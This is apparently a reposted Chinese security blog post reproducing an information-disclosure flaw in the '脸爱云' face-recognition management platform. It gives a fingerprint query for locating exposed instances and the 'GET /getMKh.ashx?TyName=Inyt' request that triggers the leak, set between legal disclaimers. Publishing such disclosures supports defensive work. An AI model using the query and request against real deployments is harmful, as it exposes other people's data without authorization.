文章总结： 脸爱云-getMKh信息泄露漏洞导致数据泄露或服务器被控制，需进行漏洞复现和资产收集。 综合评分： 80 文章分类： 漏洞分析,渗透测试,安全意识

【漏洞复现】脸爱云getMKh 信息泄露漏洞

原创

devildollking devildollking

熔城Sec

2026年9月23日 09:00 辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送，建议把公众号设为星标，否则可能就看不到啦！感谢各位师傅。

漏洞描述

脸爱云-getMKh-信息泄露，导致数据信息泄露或者导致服务器被控制。

资产收集

title=="欢迎使用脸爱云 一脸通智慧管理平台" || body="View/UserReserved/UserReservedTest.aspx"

漏洞复现

GET /getMKh.ashx?TyName=Inyt HTTP/1.1Host:

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：熔城Sec devildollking devildollking《【漏洞复现】脸爱云getMKh 信息泄露漏洞》